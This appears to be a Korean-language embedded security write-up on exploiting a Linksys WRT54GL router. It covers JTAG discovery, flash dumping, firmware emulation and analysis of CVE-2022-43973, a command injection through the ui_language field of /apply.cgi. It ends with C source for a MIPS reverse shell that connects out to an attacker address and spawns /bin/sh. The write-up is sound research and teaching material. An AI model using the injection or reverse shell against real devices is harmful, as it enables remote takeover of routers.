
납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)
JTAG 핀 탐색부터 MIPS 기반 가정용 라우터의 원격 코드 실행까지 — 10단계 임베디드 보안 연구 여정.
| 저자 | Umberto Della Monica |
| 역할 | MSc 사이버보안 학생 — 임베디드 보안 연구원 |
| 날짜 | 2026년 5월 |
| 저장소 | Linksys-WRT54GL-Exploitation |
고지 사항: 본 연구는 제가 개인적으로 소유한 하드웨어에서 교육 및 연구 목적으로만 수행되었습니다. 허가되지 않은 시스템에는 접근하지 않았습니다. 여기에 설명된 모든 기법은 본인이 소유하거나 명시적인 서면 승인을 받은 기기에만 재현해야 합니다. 저자는 제시된 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 적용 가능한 법률, 규정 및 책임 있는 공개 관행을 준수하십시오.
Linksys WRT54GL은 지금까지 생산된 소비자용 라우터 중 가장 상징적인 제품 중 하나입니다. 오픈소스 펌웨어 지원 덕분에 매니아와 연구자 모두에게 사랑받았습니다. 오래된 기기임에도 불구하고 전 세계에서 여전히 활발히 사용되고 있어 임베디드 보안 연구의 유의미한 대상이 되고 있습니다.
| 사양 | 값 |
|---|---|
| 칩셋 | Broadcom BCM5352 |
| CPU 클록 | 200 MHz |
| 아키텍처 | MIPS 32비트(리틀 엔디안) |
| 플래시 메모리 | 4 MB NOR(0xbfc00000에 메모리 매핑됨) |
| RAM | 16 MB |
| 무선 | IEEE 802.11b/g, 54 Mbps |
| 네트워크 | 4x LAN + 1x WAN, SPI 지원 NAT 방화벽 |
| OS | Linux 기반(BusyBox) |
| 부트로더 | CFE(Common Firmware Environment) |
모든 하드웨어 보안 평가의 첫 단계는 물리적 검사입니다. 기기 케이스를 연 후 PCB에서 두 개의 디버그 인터페이스를 식별했습니다.
JTAG 헤더가 미실장 상태였기 때문에 디버그 인터페이스에 접근하기 위해 임시 핀 헤더를 납땜했습니다. 멀티미터를 사용하여 접지(GND)와 Vcc 라인을 식별하고 대상 기기가 3.3V 로직 레벨로 동작함을 확인했습니다 — 이는 칩셋 손상을 방지하는 데 중요합니다.
JTAG 신호를 매핑하기 위해 Grand Idea Studio의 JTAGulator를 사용했습니다 — 가능한 모든 핀 조합을 프로빙하여 디버그 인터페이스를 자동으로 식별하도록 설계된 하드웨어 도구입니다.
JTAGulator는 다음과 같은 JTAG 핀아웃을 성공적으로 식별했습니다.
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
JTAG 핀을 식별한 후 FTDI FT2232H 칩을 탑재한 오픈소스 하드웨어 보안 평가 도구(GNU GPL v3.0)인 Attify Badge를 라우터의 JTAG 헤더에 연결했습니다.
공식 구성이 이 특정 하드웨어 리비전과 호환되지 않았기 때문에 BCM5352 대상에 맞게 조정된 사용자 정의 구성으로 OpenOCD(Open On-Chip Debugger)를 실행했습니다.
사용자 정의 OpenOCD 구성은 라우터의 플래시 파티션 레이아웃을 정의합니다.
| 파티션 | 설명 | 시작 주소 | 크기 |
|---|---|---|---|
| CFE | 부트로더 | 0xbfc00000 | 256 KB |
| 펌웨어 | 커널 + 루트 파일시스템 | 0xbfc40000 | ~3.7 MB |
| NVRAM | 구성 | 0xbfff0000 | 64 KB |
CPU를 중지(halt)시킨 후 메모리 매핑된 NOR 플래시 전체 4 MB를 덤프했습니다.
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
binwalk을 사용하여 펌웨어 덤프를 분석하고 내장된 파일시스템, 압축 세그먼트 및 커널 이미지를 식별했습니다:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # entropy analysis
sha256sum ./dumps/wrt54gl.bin # integrity verification
분석 결과 표준 BusyBox 기반 Linux 환경을 포함하는 SquashFS 루트 파일시스템이 확인되었습니다. 더 깊은 검사를 위해 binwalk -e와 unsquashfs를 사용하여 추출했습니다.
안전한 테스트 환경을 만들기 위해 MIPS 아키텍처를 지원하는 자동화된 펌웨어 에뮬레이션 프레임워크인 FirmAE를 사용하여 펌웨어 에뮬레이션을 설정했습니다. 이를 통해 가상 환경에서 라우터의 서비스(HTTP, telnet)를 재현하고 물리적 기기에 위험을 주지 않고 익스플로잇을 테스트할 수 있었습니다.
MIPS 디컴파일러 플러그인이 포함된 Ghidra(NSA의 리버스 엔지니어링 프레임워크)를 사용하여 추출된 펌웨어 바이너리에 대한 정적 분석을 수행하고 CVE-2022-43973의 존재를 확인했습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2022-43973 |
| 유형 | 원격 코드 실행(RCE) |
| 공격 벡터 | 인증된 HTTP 요청 |
| 근본 원인 | 검증되지 않은 ui_language 파라미터를 통한 명령 주입 |
| 엔드포인트 | POST /apply.cgi |
| 트리거 | POST /upgrade.cgi(펌웨어 업그레이드) |
| 영향 | 전체 루트 수준 명령 실행 |
이 취약점은 라우터의 CGI 요청 처리기에 존재합니다. /apply.cgi 엔드포인트의 ui_language 양식 필드는 삭제(sanitization) 없이 임의의 입력을 허용합니다. ;cmd; 구문으로 감싼 셸 명령을 주입함으로써 공격자는 명령을 스테이징한 후 /upgrade.cgi를 통해 펌웨어 업그레이드가 트리거될 때 실행되게 할 수 있습니다.
영향을 받는 펌웨어 버전:
라우터의 MIPS 아키텍처에 맞게 제작된 맞춤형 리버스 셸을 C로 개발했습니다. 이 페이로드는 공격자에게 역방향 TCP 연결을 설정하고 모든 표준 파일 디스크립터를 소켓으로 리다이렉트한 후 대화형 셸을 실행합니다:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redirect stdin
dup2(sockt, 1); // redirect stdout
dup2(sockt, 2); // redirect stderr
execve("/bin/sh", sh_argv, NULL);